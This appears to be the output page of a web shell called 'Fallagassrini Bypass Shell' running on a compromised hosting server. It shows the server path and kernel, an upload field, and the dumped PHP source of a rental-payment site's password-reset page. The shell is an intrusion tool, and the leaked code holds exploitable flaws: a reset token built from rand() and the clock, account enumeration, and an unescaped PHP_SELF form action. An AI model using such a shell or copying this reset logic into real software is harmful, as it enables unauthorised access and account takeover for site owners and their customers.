Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/happyrenas/old/happy-and-pay.fr/v3/

Linux webd005.cluster105.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Upload File :
Current File : /home/happyrenas/old/happy-and-pay.fr/v3/oubli_password.php

<?
error_reporting(E_ALL);
ini_set('display_errors','On');
include("../config.php");
$page="module.php";

///////////
function generatePassword($length=9, $strength=0) {
	$vowels = 'aeuy';
	$consonants = 'bdghjmnpqrstvz';
	if ($strength & 1) {
		$consonants .= 'BDGHJLMNPQRSTVWXZ';
	}
	if ($strength & 2) {
		$vowels .= "AEUY";
	}
	if ($strength & 4) {
		$consonants .= '23456789';
	}
	if ($strength & 8) {
		$consonants .= '@#$%';
	}

	$password = '';
	$alt = time() % 2;
	for ($i = 0; $i < $length; $i++) {
		if ($alt == 1) {
			$password .= $consonants[(rand() % strlen($consonants))];
			$alt = 0;
		} else {
			$password .= $vowels[(rand() % strlen($vowels))];
			$alt = 1;
		}
	}
	return $password;
}

?>
<!doctype html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr">
	<head>
		<title>Happy And Pay</title>
		<meta name='description' content=""/>
		<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
		<link rel="icon" href="../images/icone.ico"/>
		<!--[if lt IE 9]>
            <script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script>
        <![endif]-->
        <link href="../assets/plugins/bootstrap/css/bootstrap.min.css" rel="stylesheet" type="text/css" />
        <link href="../assets/base/css/plugins.css" rel="stylesheet" type="text/css" />
        <link href="../assets/base/css/components.css" id="style_components" rel="stylesheet" type="text/css" />
		<link rel="stylesheet" href="design.css" type="text/css" media="screen" />
		<script type="text/javascript" src="js/prefixfree.js"></script>
	</head>
	
	
	<body>
		<div id="bloc-assistance">
			<button onclick="ouvrir('bloc-assistance');"><img src="../images/assistance.png" alt="Assistance"/></button><!--
		 --><p class="font11">
				Vous rencontrez un problème ? Contactez notre service d’assistance :<br/>
				<a href="http://www.happy-rentals.com/happy-pay/demande-assistance.php" title="Vous rencontrez un problème ? Contactez notre assistance !">
					ASSISTANCE
				</a>
			</p>
		</div>
		<header>
			<div>
				<p id="logo"><a href="http://www.happy-rentals.com" title="Happy Rentals, Simplifiez vos contrats de location"><img src="../images/logo-happy-rentals.jpg" alt="Logo Happy Rentals" class="middle"/></a></p>
			</div>
		</header>
	
		<!-- BEGIN GLOBAL MANDATORY STYLES -->
        <section id="main-content" class="paiement-module">
			<div class="width940">
	<?
		// OUBLI MOT DE PASSE
		if (isset($_POST['emailoubli'])) 
		{

			$emailoubli = $db->escape($_POST['emailoubli']);
			$num = $db->get_var("select count(id) from client where mail = '$emailoubli'");
			if ($num==0)
				{
				$resultat = "Compte inconnu : ".$emailoubli;
				}
			else
				{
				$myquery="select id,password,statut from client where mail = '$emailoubli'";
				$myquery_exec = $db->get_row($myquery);
				$statut = $myquery_exec->statut;
				$motdepasse = $myquery_exec->password;
				if ($statut==0) 
					{
					$resultat = "Compte Inactif";
					}
				else 
					{
					$clef=generatePassword(50,1);
					$requete		=		"UPDATE  client set 
					clef				=		'$clef'
					where mail 		= 		'$emailoubli'";
					$db->query($requete);
					////////////////
					// ENVOI DU MAIL
					////////////////
					
					$url="http://www.happy-rentals.com/v3/login_update_password.php?account=".$account."&id=".$myquery_exec->id."&clef=".$clef;
					include('tpl_oubli_password.php');
					require_once('../includes/class.phpmailer.php');
					require_once('../includes/class.smtp.php');
					$objet		=	"Mot de passe oublié";
					$objet		=	utf8_decode($objet);
					$from		=	"no-reply@happy-and-pay.fr";
					$destinataire		=	$emailoubli;
					
					
					$mail 		=	 new PHPmailer();
					$mail->IsHTML(true);
					$mail->From=$from;
					$mail->AddAddress($destinataire);
					//$mail->AddAddress("phil_aph@hotmail.com");
					$mail->AddReplyTo($from);	
					$mail->Subject=$objet;
					$mail->Body=$message;
					if(!$mail->Send())
					{echo $mail->ErrorInfo;}
					else{echo '';$resultat = "Un mail vient de vous être envoyé sur ".$emailoubli;}
					unset($mail);
					}
				}
		}
	?>	
		
		

				<h1 class="">Oubli du mot de passe</h1>
				
				<? if ($resultat) {?>
					<p class="encadre font18 center blanc">
						<?echo $resultat;?>
					</p>
					<br/><br/><br/><br/><br/><br/>
					<br/><br/><br/><br/><br/><br/>
					<br/><br/><br/><br/><br/>
				<?} else {?>
					<p class="encadre font18 center blanc">
						Vous avez oublié votre mot de passe ?<br/>
						Renseignez votre adresse email ci-dessous pour le réinitialiser.
					</p>
					<form action="<?echo $_SERVER['PHP_SELF'];?>" method="POST" class="formulaire-module-paiement">
						<label>Votre adresse email : </label>
						<input value="" type="email" name="emailoubli" placeholder="" maxlength="100" required />
						<button type="submit" class="bouton-arrondi">VALIDER</button>
						<br/><br/>
						<br/><br/>
					</form>
				<?php } ?>
			</div>
		</section>
		<footer>
			<div>
				<nav>
					<a href="http://www.happy-rentals.com" title="Revenir à l'accueil du site internet">Accueil</a>
					<a href="../le-concept-happy-rentals.php" title="Le concept Happy Rentals : sécurité et simplicité">Pourquoi ?</a>
					<a href="../comment-utiliser-happy-rentals.php" title="Comment utiliser Happy-Rentals ?">Comment ?</a>
					<a href="../tarifs.php" title="Les tarifs : prix mini, sécurité maxi">Tarifs</a>
					<a href="../questions-frequentes.php" title="Une question ? Consultez la F.A.Q Happy Rentals">F.A.Q</a>
					<a href="../demonstration-happy-rentals.php" title="Découvrez comment fonctionne Happy Rentals">Démo</a>
					<a href="../contactez-happy-rentals.php" title="Prendre contact avec Happy Rentals">Contact</a>
				</nav>
				<p>
					© Copyright 2014 - Happy Rentals - Tous droits réservés - Marque déposée<br/>
					<a href="../docs/conditions-generales-vente-happy-rentals.pdf" title="Conditions générales de vente" target="_blank">Conditions générales de vente</a>
					 - <a href="../docs/conditions-generales-utilisation-happy-rentals.pdf" title="Conditions générales d'utilisation" target="_blank">Conditions générales d'utilisation</a> - <a href="docs/Mangopay_Terms-FR.pdf" title="Conditions générales Mangopay" target="_blank">Conditions générales Mangopay</a>
					<br/>
					Happy R protège les clients des faux propriétaires ou de personnes qui usurpent l'identité de vrai propriétaire.<br/>
					Une création Web <a href="http://www.melting-k.fr" title="Création de sites internet à Toulouse">Melting K</a> - <a href="../mentions-legales.php" title="Nos mentions légales">Mentions légales</a>
					<br/><br/>
					<img src="../images/powered-by-mangopay.png" alt="Powered by mango pay" class="middle"/>&nbsp;&nbsp;&nbsp;-|-&nbsp;&nbsp;&nbsp;<a href="http://www.goonassurances.com/" title="GO ON, partenaire assurance annulation" target="_blank">Partenaire Assurance Annulation : <img src="../images/logo-go-on-assurances.png" alt="GO ON ASURANCES" class="middle"/> </a>
				</p>
			</div>
		</footer>
		<!-- SCRIPTS -->
	<script type="text/javascript">
		function affiche(id) 
		{
			var element = document.getElementById(id);
			var elements = document.getElementsByClassName('visible');
			var i = elements.length;
			if (element.className=="visible")
			{
				element.className="not-visible"
			}
			else if (element.className=="not-visible")
			{
				while(i--) {
					elements[i].className="not-visible";
				}
				element.className="visible"
			}
		}
	</script>
	<script type="text/javascript">	
		function ouvrir(id) 
		{
			var element = document.getElementById(id);
			if (element.className=="open")
			{
				element.className="close";
			}
			else
			{
				element.className="open";
			}
		}
	</script>
	<script>
	  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
	  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
	  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
	  })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');

	  ga('create', 'UA-89044331-3', 'auto');
	  ga('send', 'pageview');

	</script>
	</body>

</html>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net